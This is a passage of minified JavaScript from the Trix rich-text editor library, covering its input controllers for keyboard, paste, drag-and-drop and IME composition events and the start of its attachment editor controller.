t(!0,n.file)}),e.readAsArrayBuffer(this.file)},n}(i.Operation)}.call(this),function(){var t,e,n=function(t,e){function n(){this.constructor=t}for(var i in e)o.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},o={}.hasOwnProperty;t=i.handleEvent,e=i.innerElementIsActive,i.InputController=function(o){function r(e){var n;for(n in this.element=e,this.mutationObserver=new i.MutationObserver(this.element),this.mutationObserver.delegate=this,this.events)t(n,{onElement:this.element,withCallback:this.handlerFor(n)})}return n(r,o),r.prototype.events={},r.prototype.elementDidMutate=function(){},r.prototype.editorWillSyncDocumentView=function(){return this.mutationObserver.stop()},r.prototype.editorDidSyncDocumentView=function(){return this.mutationObserver.start()},r.prototype.requestRender=function(){var t;return null!=(t=this.delegate)&&"function"==typeof t.inputControllerDidRequestRender?t.inputControllerDidRequestRender():void 0},r.prototype.requestReparse=function(){var t;return null!=(t=this.delegate)&&"function"==typeof t.inputControllerDidRequestReparse&&t.inputControllerDidRequestReparse(),this.requestRender()},r.prototype.attachFiles=function(t){var e,n;return n=function(){var n,o,r;for(r=[],n=0,o=t.length;o>n;n++)e=t[n],r.push(new i.FileVerificationOperation(e));return r}(),Promise.all(n).then(function(t){return function(e){return t.handleInput(function(){var t,n;return null!=(t=this.delegate)&&t.inputControllerWillAttachFiles(),null!=(n=this.responder)&&n.insertFiles(e),this.requestRender()})}}(this))},r.prototype.handlerFor=function(t){return n=this,function(i){return i.defaultPrevented?void 0:n.handleInput(function(){return e(this.element)?void 0:(this.eventName=t,this.events[t].call(this,i))})};var n},r.prototype.handleInput=function(t){var e,n;try{return null!=(e=this.delegate)&&e.inputControllerWillHandleInput(),t.call(this)}finally{null!=(n=this.delegate)&&n.inputControllerDidHandleInput()}},r}(i.BasicObject)}.call(this),function(){var t,e,n,o,r,s,a,u,c,l,h,p,d=function(t,e){function n(){this.constructor=t}for(var i in e)f.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},f={}.hasOwnProperty,g=[].indexOf||function(t){for(var e=0,n=this.length;n>e;e++)if(e in this&&this[e]===t)return e;return-1};c=i.makeElement,l=i.objectsAreEqual,i.tagName,e=i.browser,a=i.keyEventIsKeyboardCommand,o=i.dataTransferIsWritable,n=i.dataTransferIsPlainText,u=i.config.keyNames,i.Level0InputController=function(e){function s(){s.__super__.constructor.apply(this,arguments),this.resetInputSummary()}var f;return d(s,e),f=0,s.prototype.setInputSummary=function(t){var e,n;for(e in null==t&&(t={}),this.inputSummary.eventName=this.eventName,t)n=t[e],this.inputSummary[e]=n;return this.inputSummary},s.prototype.resetInputSummary=function(){return this.inputSummary={}},s.prototype.reset=function(){return this.resetInputSummary(),i.selectionChangeObserver.reset()},s.prototype.elementDidMutate=function(t){var e;return this.isComposing()?null!=(e=this.delegate)&&"function"==typeof e.inputControllerDidAllowUnhandledInput?e.inputControllerDidAllowUnhandledInput():void 0:this.handleInput(function(){return this.mutationIsSignificant(t)&&(this.mutationIsExpected(t)?this.requestRender():this.requestReparse()),this.reset()})},s.prototype.mutationIsExpected=function(t){var e,n,i,o,r,s,a,u,c;return s=t.textAdded,a=t.textDeleted,!!this.inputSummary.preferDocument||(e=null!=s?s===this.inputSummary.textAdded:!this.inputSummary.textAdded,n=null!=a?this.inputSummary.didDelete:!this.inputSummary.didDelete,c="\n"===a&&!n,!!(((u=("\n"===s||" \n"===s)&&!e)&&!c||c&&!u)&&(o=this.getSelectedRange())&&(i=u?s.replace(/\n$/,"").length||-1:(null!=s?s.length:void 0)||1,null!=(r=this.responder)?r.positionIsBlockBreak(o[1]+i):void 0))||e&&n)},s.prototype.mutationIsSignificant=function(t){var e,n,i;return i=Object.keys(t).length>0,e=""===(null!=(n=this.compositionInput)?n.getEndData():void 0),i||!e},s.prototype.events={keydown:function(t){var e,n,o,r,s,c,l,h,p;if(this.isComposing()||this.resetInputSummary(),this.inputSummary.didInput=!0,r=u[t.keyCode]){for(n=this.keys,o=0,c=(h=["ctrl","alt","shift","meta"]).length;c>o;o++)t[(l=h[o])+"Key"]&&("ctrl"===l&&(l="control"),n=null!=n?n[l]:void 0);null!=(null!=n?n[r]:void 0)&&(this.setInputSummary({keyName:r}),i.selectionChangeObserver.reset(),n[r].call(this,t))}return a(t)&&(e=String.fromCharCode(t.keyCode).toLowerCase())&&((s=function(){var e,n,i,o;for(o=[],e=0,n=(i=["alt","shift"]).length;n>e;e++)t[(l=i[e])+"Key"]&&o.push(l);return o}()).push(e),null!=(p=this.delegate)?p.inputControllerDidReceiveKeyboardCommand(s):void 0)?t.preventDefault():void 0},keypress:function(t){var e,n,i;if(null==this.inputSummary.eventName&&!t.metaKey&&(!t.ctrlKey||t.altKey))return(i=p(t))?(null!=(e=this.delegate)&&e.inputControllerWillPerformTyping(),null!=(n=this.responder)&&n.insertString(i),this.setInputSummary({textAdded:i,didDelete:this.selectionIsExpanded()})):void 0},textInput:function(t){var e,n,i,o;return e=t.data,(o=this.inputSummary.textAdded)&&o!==e&&o.toUpperCase()===e?(n=this.getSelectedRange(),this.setSelectedRange([n[0],n[1]+o.length]),null!=(i=this.responder)&&i.insertString(e),this.setInputSummary({textAdded:e}),this.setSelectedRange(n)):void 0},dragenter:function(t){return t.preventDefault()},dragstart:function(t){var e;return t.target,this.serializeSelectionToDataTransfer(t.dataTransfer),this.draggedRange=this.getSelectedRange(),null!=(e=this.delegate)&&"function"==typeof e.inputControllerDidStartDrag?e.inputControllerDidStartDrag():void 0},dragover:function(t){var e,n;return!this.draggedRange&&!this.canAcceptDataTransfer(t.dataTransfer)||(t.preventDefault(),e={x:t.clientX,y:t.clientY},l(e,this.draggingPoint))?void 0:(this.draggingPoint=e,null!=(n=this.delegate)&&"function"==typeof n.inputControllerDidReceiveDragOverPoint?n.inputControllerDidReceiveDragOverPoint(this.draggingPoint):void 0)},dragend:function(){var t;return null!=(t=this.delegate)&&"function"==typeof t.inputControllerDidCancelDrag&&t.inputControllerDidCancelDrag(),this.draggedRange=null,this.draggingPoint=null},drop:function(t){var e,n,o,r,s,a,u,c,l;return t.preventDefault(),o=null!=(s=t.dataTransfer)?s.files:void 0,r={x:t.clientX,y:t.clientY},null!=(a=this.responder)&&a.setLocationRangeFromPointRange(r),(null!=o?o.length:void 0)?this.attachFiles(o):this.draggedRange?(null!=(u=this.delegate)&&u.inputControllerWillMoveText(),null!=(c=this.responder)&&c.moveTextFromRange(this.draggedRange),this.draggedRange=null,this.requestRender()):(n=t.dataTransfer.getData("application/x-trix-document"))&&(e=i.Document.fromJSONString(n),null!=(l=this.responder)&&l.insertDocument(e),this.requestRender()),this.draggedRange=null,this.draggingPoint=null},cut:function(t){var e,n;return(null!=(e=this.responder)?e.selectionIsExpanded():void 0)&&(this.serializeSelectionToDataTransfer(t.clipboardData)&&t.preventDefault(),null!=(n=this.delegate)&&n.inputControllerWillCutText(),this.deleteInDirection("backward"),t.defaultPrevented)?this.requestRender():void 0},copy:function(t){var e;return(null!=(e=this.responder)?e.selectionIsExpanded():void 0)&&this.serializeSelectionToDataTransfer(t.clipboardData)?t.preventDefault():void 0},paste:function(t){var e,o,s,a,u,c,l,p,d,m,y,v,b,A,C,x,w,E,S,R,k,D;return e=null!=(p=t.clipboardData)?p:t.testClipboardData,l={clipboard:e},null==e||h(t)?void this.getPastedHTMLUsingHiddenElement(function(t){return function(e){var n,i,o;return l.type="text/html",l.html=e,null!=(n=t.delegate)&&n.inputControllerWillPaste(l),null!=(i=t.responder)&&i.insertHTML(l.html),t.requestRender(),null!=(o=t.delegate)?o.inputControllerDidPaste(l):void 0}}(this)):((a=e.getData("URL"))?(l.type="URL",l.href=a,l.string=(c=e.getData("public.url-name"))?i.squishBreakableWhitespace(c).trim():a,null!=(d=this.delegate)&&d.inputControllerWillPaste(l),this.setInputSummary({textAdded:l.string,didDelete:this.selectionIsExpanded()}),null!=(C=this.responder)&&C.insertText(i.Text.textForStringWithAttributes(l.string,{href:l.href})),this.requestRender(),null!=(x=this.delegate)&&x.inputControllerDidPaste(l)):n(e)?(l.type="text/plain",l.string=e.getData("text/plain"),null!=(w=this.delegate)&&w.inputControllerWillPaste(l),this.setInputSummary({textAdded:l.string,didDelete:this.selectionIsExpanded()}),null!=(E=this.responder)&&E.insertString(l.string),this.requestRender(),null!=(S=this.delegate)&&S.inputControllerDidPaste(l)):(u=e.getData("text/html"))?(l.type="text/html",l.html=u,null!=(R=this.delegate)&&R.inputControllerWillPaste(l),null!=(k=this.responder)&&k.insertHTML(l.html),this.requestRender(),null!=(D=this.delegate)&&D.inputControllerDidPaste(l)):g.call(e.types,"Files")>=0&&(s=null!=(m=e.items)&&null!=(y=m[0])&&"function"==typeof y.getAsFile?y.getAsFile():void 0)&&(!s.name&&(o=r(s))&&(s.name="pasted-file-"+ ++f+"."+o),l.type="File",l.file=s,null!=(v=this.delegate)&&v.inputControllerWillAttachFiles(),null!=(b=this.responder)&&b.insertFile(l.file),this.requestRender(),null!=(A=this.delegate)&&A.inputControllerDidPaste(l)),t.preventDefault())},compositionstart:function(t){return this.getCompositionInput().start(t.data)},compositionupdate:function(t){return this.getCompositionInput().update(t.data)},compositionend:function(t){return this.getCompositionInput().end(t.data)},beforeinput:function(){return this.inputSummary.didInput=!0},input:function(t){return this.inputSummary.didInput=!0,t.stopPropagation()}},s.prototype.keys={backspace:function(t){var e;return null!=(e=this.delegate)&&e.inputControllerWillPerformTyping(),this.deleteInDirection("backward",t)},delete:function(t){var e;return null!=(e=this.delegate)&&e.inputControllerWillPerformTyping(),this.deleteInDirection("forward",t)},return:function(){var t,e;return this.setInputSummary({preferDocument:!0}),null!=(t=this.delegate)&&t.inputControllerWillPerformTyping(),null!=(e=this.responder)?e.insertLineBreak():void 0},tab:function(t){var e,n;return(null!=(e=this.responder)?e.canIncreaseNestingLevel():void 0)?(null!=(n=this.responder)&&n.increaseNestingLevel(),this.requestRender(),t.preventDefault()):void 0},left:function(t){var e;return this.selectionIsInCursorTarget()?(t.preventDefault(),null!=(e=this.responder)?e.moveCursorInDirection("backward"):void 0):void 0},right:function(t){var e;return this.selectionIsInCursorTarget()?(t.preventDefault(),null!=(e=this.responder)?e.moveCursorInDirection("forward"):void 0):void 0},control:{d:function(t){var e;return null!=(e=this.delegate)&&e.inputControllerWillPerformTyping(),this.deleteInDirection("forward",t)},h:function(t){var e;return null!=(e=this.delegate)&&e.inputControllerWillPerformTyping(),this.deleteInDirection("backward",t)},o:function(t){var e,n;return t.preventDefault(),null!=(e=this.delegate)&&e.inputControllerWillPerformTyping(),null!=(n=this.responder)&&n.insertString("\n",{updatePosition:!1}),this.requestRender()}},shift:{return:function(t){var e,n;return null!=(e=this.delegate)&&e.inputControllerWillPerformTyping(),null!=(n=this.responder)&&n.insertString("\n"),this.requestRender(),t.preventDefault()},tab:function(t){var e,n;return(null!=(e=this.responder)?e.canDecreaseNestingLevel():void 0)?(null!=(n=this.responder)&&n.decreaseNestingLevel(),this.requestRender(),t.preventDefault()):void 0},left:function(t){return this.selectionIsInCursorTarget()?(t.preventDefault(),this.expandSelectionInDirection("backward")):void 0},right:function(t){return this.selectionIsInCursorTarget()?(t.preventDefault(),this.expandSelectionInDirection("forward")):void 0}},alt:{backspace:function(){var t;return this.setInputSummary({preferDocument:!1}),null!=(t=this.delegate)?t.inputControllerWillPerformTyping():void 0}},meta:{backspace:function(){var t;return this.setInputSummary({preferDocument:!1}),null!=(t=this.delegate)?t.inputControllerWillPerformTyping():void 0}}},s.prototype.getCompositionInput=function(){return this.isComposing()?this.compositionInput:this.compositionInput=new t(this)},s.prototype.isComposing=function(){return null!=this.compositionInput&&!this.compositionInput.isEnded()},s.prototype.deleteInDirection=function(t,e){var n;return!1!==(null!=(n=this.responder)?n.deleteInDirection(t):void 0)?this.setInputSummary({didDelete:!0}):e?(e.preventDefault(),this.requestRender()):void 0},s.prototype.serializeSelectionToDataTransfer=function(t){var e,n;if(o(t))return e=null!=(n=this.responder)?n.getSelectedDocument().toSerializableDocument():void 0,t.setData("application/x-trix-document",JSON.stringify(e)),t.setData("text/html",i.DocumentView.render(e).innerHTML),t.setData("text/plain",e.toString().replace(/\n$/,"")),!0},s.prototype.canAcceptDataTransfer=function(t){var e,n,i,o,r;for(r={},e=0,n=(o=null!=(i=null!=t?t.types:void 0)?i:[]).length;n>e;e++)r[o[e]]=!0;return r.Files||r["application/x-trix-document"]||r["text/html"]||r["text/plain"]},s.prototype.getPastedHTMLUsingHiddenElement=function(t){var e,n,o;return n=this.getSelectedRange(),o={position:"absolute",left:window.pageXOffset+"px",top:window.pageYOffset+"px",opacity:0},e=c({style:o,tagName:"div",editable:!0}),document.body.appendChild(e),e.focus(),requestAnimationFrame(function(o){return function(){var r;return r=e.innerHTML,i.removeNode(e),o.setSelectedRange(n),t(r)}}(this))},s.proxyMethod("responder?.getSelectedRange"),s.proxyMethod("responder?.setSelectedRange"),s.proxyMethod("responder?.expandSelectionInDirection"),s.proxyMethod("responder?.selectionIsInCursorTarget"),s.proxyMethod("responder?.selectionIsExpanded"),s}(i.InputController),r=function(t){var e,n;return null!=(e=t.type)&&null!=(n=e.match(/\/(\w+)$/))?n[1]:void 0},s=null!=("function"==typeof" ".codePointAt?" ".codePointAt(0):void 0),p=function(t){var e;return t.key&&s&&t.key.codePointAt(0)===t.keyCode?t.key:(null===t.which?e=t.keyCode:0!==t.which&&0!==t.charCode&&(e=t.charCode),null!=e&&"escape"!==u[e]?i.UTF16String.fromCodepoints([e]).toString():void 0)},h=function(t){var e,n,i,o,r,s,a,u,c;if(a=t.clipboardData){if(g.call(a.types,"text/html")>=0){for(i=0,s=(u=a.types).length;s>i;i++)if(c=u[i],e=/^CorePasteboardFlavorType/.test(c),n=/^dyn\./.test(c)&&a.getData(c),e||n)return!0;return!1}return o=g.call(a.types,"com.apple.webarchive")>=0,r=g.call(a.types,"com.apple.flat-rtfd")>=0,o||r}},t=function(t){function n(t){var e;this.inputController=t,e=this.inputController,this.responder=e.responder,this.delegate=e.delegate,this.inputSummary=e.inputSummary,this.data={}}return d(n,t),n.prototype.start=function(t){var e,n;return this.data.start=t,this.isSignificant()?("keypress"===this.inputSummary.eventName&&this.inputSummary.textAdded&&null!=(e=this.responder)&&e.deleteInDirection("left"),this.selectionIsExpanded()||(this.insertPlaceholder(),this.requestRender()),this.range=null!=(n=this.responder)?n.getSelectedRange():void 0):void 0},n.prototype.update=function(t){var e;return this.data.update=t,this.isSignificant()&&(e=this.selectPlaceholder())?(this.forgetPlaceholder(),this.range=e):void 0},n.prototype.end=function(t){var e,n,i,o;return this.data.end=t,this.isSignificant()?(this.forgetPlaceholder(),this.canApplyToDocument()?(this.setInputSummary({preferDocument:!0,didInput:!1}),null!=(e=this.delegate)&&e.inputControllerWillPerformTyping(),null!=(n=this.responder)&&n.setSelectedRange(this.range),null!=(i=this.responder)&&i.insertString(this.data.end),null!=(o=this.responder)?o.setSelectedRange(this.range[0]+this.data.end.length):void 0):null!=this.data.start||null!=this.data.update?(this.requestReparse(),this.inputController.reset()):void 0):this.inputController.reset()},n.prototype.getEndData=function(){return this.data.end},n.prototype.isEnded=function(){return null!=this.getEndData()},n.prototype.isSignificant=function(){return!e.composesExistingText||this.inputSummary.didInput},n.prototype.canApplyToDocument=function(){var t,e;return 0===(null!=(t=this.data.start)?t.length:void 0)&&(null!=(e=this.data.end)?e.length:void 0)>0&&null!=this.range},n.proxyMethod("inputController.setInputSummary"),n.proxyMethod("inputController.requestRender"),n.proxyMethod("inputController.requestReparse"),n.proxyMethod("responder?.selectionIsExpanded"),n.proxyMethod("responder?.insertPlaceholder"),n.proxyMethod("responder?.selectPlaceholder"),n.proxyMethod("responder?.forgetPlaceholder"),n}(i.BasicObject)}.call(this),function(){var t,e,n,o=function(t,e){return function(){return t.apply(e,arguments)}},r=function(t,e){function n(){this.constructor=t}for(var i in e)s.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},s={}.hasOwnProperty,a=[].indexOf||function(t){for(var e=0,n=this.length;n>e;e++)if(e in this&&this[e]===t)return e;return-1};t=i.dataTransferIsPlainText,e=i.keyEventIsKeyboardCommand,n=i.objectsAreEqual,i.Level2InputController=function(s){function u(){return this.render=o(this.render,this),u.__super__.constructor.apply(this,arguments)}var c,l,h,p,d,f;return r(u,s),u.prototype.elementDidMutate=function(){var t;return this.scheduledRender?this.composing&&null!=(t=this.delegate)&&"function"==typeof t.inputControllerDidAllowUnhandledInput?t.inputControllerDidAllowUnhandledInput():void 0:this.reparse()},u.prototype.scheduleRender=function(){return null!=this.scheduledRender?this.scheduledRender:this.scheduledRender=requestAnimationFrame(this.render)},u.prototype.render=function(){var t;return cancelAnimationFrame(this.scheduledRender),this.scheduledRender=null,this.composing||null!=(t=this.delegate)&&t.render(),"function"==typeof this.afterRender&&this.afterRender(),this.afterRender=null},u.prototype.reparse=function(){var t;return null!=(t=this.delegate)?t.reparse():void 0},u.prototype.events={keydown:function(t){var n,i,o,r;if(e(t)){if(n=l(t),null!=(r=this.delegate)?r.inputControllerDidReceiveKeyboardCommand(n):void 0)return t.preventDefault()}else if(o=t.key,t.altKey&&(o+="+Alt"),t.shiftKey&&(o+="+Shift"),i=this.keys[o])return this.withEvent(t,i)},paste:function(t){var e,n,o,r,s,a,u,c,l;return h(t)?(t.preventDefault(),this.attachFiles(t.clipboardData.files)):p(t)?(t.preventDefault(),n={type:"text/plain",string:t.clipboardData.getData("text/plain")},null!=(o=this.delegate)&&o.inputControllerWillPaste(n),null!=(r=this.responder)&&r.insertString(n.string),this.render(),null!=(s=this.delegate)?s.inputControllerDidPaste(n):void 0):(e=null!=(a=t.clipboardData)?a.getData("URL"):void 0)?(t.preventDefault(),n={type:"URL",href:e,string:e},null!=(u=this.delegate)&&u.inputControllerWillPaste(n),null!=(c=this.responder)&&c.insertText(i.Text.textForStringWithAttributes(n.string,{href:n.href})),this.render(),null!=(l=this.delegate)?l.inputControllerDidPaste(n):void 0):void 0},beforeinput:function(t){var e;return(e=this.inputTypes[t.inputType])?(this.withEvent(t,e),this.scheduleRender()):void 0},input:function(){return i.selectionChangeObserver.reset()},dragstart:function(t){var e,n;return(null!=(e=this.responder)?e.selectionContainsAttachments():void 0)?(t.dataTransfer.setData("application/x-trix-dragging",!0),this.dragging={range:null!=(n=this.responder)?n.getSelectedRange():void 0,point:d(t)}):void 0},dragenter:function(t){return c(t)?t.preventDefault():void 0},dragover:function(t){var e,i;return this.dragging&&(t.preventDefault(),e=d(t),!n(e,this.dragging.point))?(this.dragging.point=e,null!=(i=this.responder)?i.setLocationRangeFromPointRange(e):void 0):void 0},drop:function(t){var e,n,i,o;return this.dragging?(t.preventDefault(),null!=(n=this.delegate)&&n.inputControllerWillMoveText(),null!=(i=this.responder)&&i.moveTextFromRange(this.dragging.range),this.dragging=null,this.scheduleRender()):c(t)?(t.preventDefault(),e=d(t),null!=(o=this.responder)&&o.setLocationRangeFromPointRange(e),this.attachFiles(t.dataTransfer.files)):void 0},dragend:function(){var t;return this.dragging?(null!=(t=this.responder)&&t.setSelectedRange(this.dragging.range),this.dragging=null):void 0},compositionend:function(){return this.composing?(this.composing=!1,this.scheduleRender()):void 0}},u.prototype.keys={ArrowLeft:function(){var t,e;return(null!=(t=this.responder)?t.shouldManageMovingCursorInDirection("backward"):void 0)?(this.event.preventDefault(),null!=(e=this.responder)?e.moveCursorInDirection("backward"):void 0):void 0},ArrowRight:function(){var t,e;return(null!=(t=this.responder)?t.shouldManageMovingCursorInDirection("forward"):void 0)?(this.event.preventDefault(),null!=(e=this.responder)?e.moveCursorInDirection("forward"):void 0):void 0},Backspace:function(){var t,e,n;return(null!=(t=this.responder)?t.shouldManageDeletingInDirection("backward"):void 0)?(this.event.preventDefault(),null!=(e=this.delegate)&&e.inputControllerWillPerformTyping(),null!=(n=this.responder)&&n.deleteInDirection("backward"),this.render()):void 0},Tab:function(){var t,e;return(null!=(t=this.responder)?t.canIncreaseNestingLevel():void 0)?(this.event.preventDefault(),null!=(e=this.responder)&&e.increaseNestingLevel(),this.render()):void 0},"Tab+Shift":function(){var t,e;return(null!=(t=this.responder)?t.canDecreaseNestingLevel():void 0)?(this.event.preventDefault(),null!=(e=this.responder)&&e.decreaseNestingLevel(),this.render()):void 0}},u.prototype.inputTypes={deleteByComposition:function(){return this.deleteInDirection("backward",{recordUndoEntry:!1})},deleteByCut:function(){return this.deleteInDirection("backward")},deleteByDrag:function(){return this.event.preventDefault(),this.withTargetDOMRange(function(){var t;return this.deleteByDragRange=null!=(t=this.responder)?t.getSelectedRange():void 0})},deleteCompositionText:function(){return this.deleteInDirection("backward",{recordUndoEntry:!1})},deleteContent:function(){return this.deleteInDirection("backward")},deleteContentBackward:function(){return this.deleteInDirection("backward")},deleteContentForward:function(){return this.deleteInDirection("forward")},deleteEntireSoftLine:function(){return this.deleteInDirection("forward")},deleteHardLineBackward:function(){return this.deleteInDirection("backward")},deleteHardLineForward:function(){return this.deleteInDirection("forward")},deleteSoftLineBackward:function(){return this.deleteInDirection("backward")},deleteSoftLineForward:function(){return this.deleteInDirection("forward")},deleteWordBackward:function(){return this.deleteInDirection("backward")},deleteWordForward:function(){return this.deleteInDirection("forward")},formatBackColor:function(){return this.activateAttributeIfSupported("backgroundColor",this.event.data)},formatBold:function(){return this.toggleAttributeIfSupported("bold")},formatFontColor:function(){return this.activateAttributeIfSupported("color",this.event.data)},formatFontName:function(){return this.activateAttributeIfSupported("font",this.event.data)},formatIndent:function(){var t;return(null!=(t=this.responder)?t.canIncreaseNestingLevel():void 0)?this.withTargetDOMRange(function(){var t;return null!=(t=this.responder)?t.increaseNestingLevel():void 0}):void 0},formatItalic:function(){return this.toggleAttributeIfSupported("italic")},formatJustifyCenter:function(){return this.toggleAttributeIfSupported("justifyCenter")},formatJustifyFull:function(){return this.toggleAttributeIfSupported("justifyFull")},formatJustifyLeft:function(){return this.toggleAttributeIfSupported("justifyLeft")},formatJustifyRight:function(){return this.toggleAttributeIfSupported("justifyRight")},formatOutdent:function(){var t;return(null!=(t=this.responder)?t.canDecreaseNestingLevel():void 0)?this.withTargetDOMRange(function(){var t;return null!=(t=this.responder)?t.decreaseNestingLevel():void 0}):void 0},formatRemove:function(){return this.withTargetDOMRange(function(){var t,e,n,i;for(t in i=[],null!=(e=this.responder)?e.getCurrentAttributes():void 0)i.push(null!=(n=this.responder)?n.removeCurrentAttribute(t):void 0);return i})},formatSetBlockTextDirection:function(){return this.activateAttributeIfSupported("blockDir",this.event.data)},formatSetInlineTextDirection:function(){return this.activateAttributeIfSupported("textDir",this.event.data)},formatStrikeThrough:function(){return this.toggleAttributeIfSupported("strike")},formatSubscript:function(){return this.toggleAttributeIfSupported("sub")},formatSuperscript:function(){return this.toggleAttributeIfSupported("sup")},formatUnderline:function(){return this.toggleAttributeIfSupported("underline")},historyRedo:function(){var t;return null!=(t=this.delegate)?t.inputControllerWillPerformRedo():void 0},historyUndo:function(){var t;return null!=(t=this.delegate)?t.inputControllerWillPerformUndo():void 0},insertCompositionText:function(){return this.composing=!0,this.insertString(this.event.data)},insertFromComposition:function(){return this.composing=!1,this.insertString(this.event.data)},insertFromDrop:function(){var t,e;return(t=this.deleteByDragRange)?(this.deleteByDragRange=null,null!=(e=this.delegate)&&e.inputControllerWillMoveText(),this.withTargetDOMRange(function(){var e;return null!=(e=this.responder)?e.moveTextFromRange(t):void 0})):void 0},insertFromPaste:function(){var e,n,o,r,s,a,u,c,l,h;return e=this.event.dataTransfer,s={dataTransfer:e},(n=e.getData("URL"))?(s.type="URL",s.href=n,s.string=(r=e.getData("public.url-name"))?i.squishBreakableWhitespace(r).trim():n,null!=(a=this.delegate)&&a.inputControllerWillPaste(s),this.withTargetDOMRange(function(){var t;return null!=(t=this.responder)?t.insertText(i.Text.textForStringWithAttributes(s.string,{href:s.href})):void 0}),this.afterRender=function(t){return function(){var e;return null!=(e=t.delegate)?e.inputControllerDidPaste(s):void 0}}(this)):t(e)?(s.type="text/plain",s.string=e.getData("text/plain"),null!=(u=this.delegate)&&u.inputControllerWillPaste(s),this.withTargetDOMRange(function(){var t;return null!=(t=this.responder)?t.insertString(s.string):void 0}),this.afterRender=function(t){return function(){var e;return null!=(e=t.delegate)?e.inputControllerDidPaste(s):void 0}}(this)):(o=e.getData("text/html"))?(s.type="text/html",s.html=o,null!=(c=this.delegate)&&c.inputControllerWillPaste(s),this.withTargetDOMRange(function(){var t;return null!=(t=this.responder)?t.insertHTML(s.html):void 0}),this.afterRender=function(t){return function(){var e;return null!=(e=t.delegate)?e.inputControllerDidPaste(s):void 0}}(this)):(null!=(l=e.files)?l.length:void 0)?(s.type="File",s.file=e.files[0],null!=(h=this.delegate)&&h.inputControllerWillPaste(s),this.withTargetDOMRange(function(){var t;return null!=(t=this.responder)?t.insertFile(s.file):void 0}),this.afterRender=function(t){return function(){var e;return null!=(e=t.delegate)?e.inputControllerDidPaste(s):void 0}}(this)):void 0},insertFromYank:function(){return this.insertString(this.event.data)},insertLineBreak:function(){return this.insertString("\n")},insertLink:function(){return this.activateAttributeIfSupported("href",this.event.data)},insertOrderedList:function(){return this.toggleAttributeIfSupported("number")},insertParagraph:function(){var t;return null!=(t=this.delegate)&&t.inputControllerWillPerformTyping(),this.withTargetDOMRange(function(){var t;return null!=(t=this.responder)?t.insertLineBreak():void 0})},insertReplacementText:function(){return this.insertString(this.event.dataTransfer.getData("text/plain"),{updatePosition:!1})},insertText:function(){var t,e;return this.insertString(null!=(t=this.event.data)?t:null!=(e=this.event.dataTransfer)?e.getData("text/plain"):void 0)},insertTranspose:function(){return this.insertString(this.event.data)},insertUnorderedList:function(){return this.toggleAttributeIfSupported("bullet")}},u.prototype.insertString=function(t,e){var n;return null==t&&(t=""),null!=(n=this.delegate)&&n.inputControllerWillPerformTyping(),this.withTargetDOMRange(function(){var n;return null!=(n=this.responder)?n.insertString(t,e):void 0})},u.prototype.toggleAttributeIfSupported=function(t){var e;return a.call(i.getAllAttributeNames(),t)>=0?(null!=(e=this.delegate)&&e.inputControllerWillPerformFormatting(),this.withTargetDOMRange(function(){var e;return null!=(e=this.responder)?e.toggleCurrentAttribute(t):void 0})):void 0},u.prototype.activateAttributeIfSupported=function(t,e){var n;return a.call(i.getAllAttributeNames(),t)>=0?(null!=(n=this.delegate)&&n.inputControllerWillPerformFormatting(),this.withTargetDOMRange(function(){var n;return null!=(n=this.responder)?n.setCurrentAttribute(t,e):void 0})):void 0},u.prototype.deleteInDirection=function(t,e){var n,i,o;return(null!=e?e:{recordUndoEntry:!0}).recordUndoEntry&&null!=(o=this.delegate)&&o.inputControllerWillPerformTyping(),i=function(e){return function(){var n;return null!=(n=e.responder)?n.deleteInDirection(t):void 0}}(this),(n=this.getTargetDOMRange({minLength:2}))?this.withTargetDOMRange(n,i):i()},u.prototype.withTargetDOMRange=function(t,e){var n;return"function"==typeof t&&(e=t,t=this.getTargetDOMRange()),t?null!=(n=this.responder)?n.withTargetDOMRange(t,e.bind(this)):void 0:(i.selectionChangeObserver.reset(),e.call(this))},u.prototype.getTargetDOMRange=function(t){var e,n,i,o;return i=(null!=t?t:{minLength:0}).minLength,(o="function"==typeof(e=this.event).getTargetRanges?e.getTargetRanges():void 0)&&o.length&&(n=f(o[0]),0===i||n.toString().length>=i)?n:void 0},f=function(t){var e;return(e=document.createRange()).setStart(t.startContainer,t.startOffset),e.setEnd(t.endContainer,t.endOffset),e},u.prototype.withEvent=function(t,e){var n;this.event=t;try{n=e.call(this)}finally{this.event=null}return n},c=function(t){var e,n;return a.call(null!=(e=null!=(n=t.dataTransfer)?n.types:void 0)?e:[],"Files")>=0},h=function(t){var e;return(e=t.clipboardData)?a.call(e.types,"Files")>=0&&1===e.types.length&&e.files.length>=1:void 0},p=function(t){var e;return(e=t.clipboardData)?a.call(e.types,"text/plain")>=0&&1===e.types.length:void 0},l=function(t){var e;return e=[],t.altKey&&e.push("alt"),t.shiftKey&&e.push("shift"),e.push(t.key),e},d=function(t){return{x:t.clientX,y:t.clientY}},u}(i.InputController)}.call(this),function(){var t,e,n,o,r,s,a,u,c,l=function(t,e){return function(){return t.apply(e,arguments)}},h=function(t,e){function n(){this.constructor=t}for(var i in e)p.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},p={}.hasOwnProperty;e=i.defer,n=i.escapeHTML,o=i.handleEvent,a=i.makeElement,c=i.tagName,u=i.config,s=u.lang,t=u.css,r=u.keyNames,i.AttachmentEditorController=function(u){function p(t,e,n,i){this.attachmentPiece=t,this.element=e,this.container=n,this.options=null!=i?i:{},this.didBlurCaption=l(this.didBlurCaption,this),this.didChangeCaption=l(this.didChangeCaption,this),this.didInputCaption=l(this.didInputCaption,this),this.didKeyDownCaption=l(this.didKeyDownCaption,this),this.didClickActionButton=l(this.didClickActionButton,this),this.didClickToolbar=l(this.didClickToolbar,this),this.attachment=this.attachmentPiece.attachment,"a"===c(this.element)&&(this.element=this.element.firstChild),this.install()}var d;return h(p,u),d=function(t){return function(){var e;return(e=t.apply(this,arguments)).do(),null==this.undos&&(this.undos=[]),this.undos.push(e.undo)}},p.prototype.install=function(){return this.makeElementMutable(),this.addToolbar(),this.attachment.isPreviewable()?this.installCaptionEditor():void 0},p.prototype.uninstall=function(){var t,e;for(this.savePendingCaption();e=this.undos.pop();)e();return null!=(t=this.delegate)?t.didUninstallAttachmentEditor(this):void 0},p.prototype.savePendingCaption=function(){var t,e,n;return null!=this.pendingCaption?(t=this.pendingCaption,this.pendingCaption=null,t?null!=(e=this.delegate)&&"function"==typeof 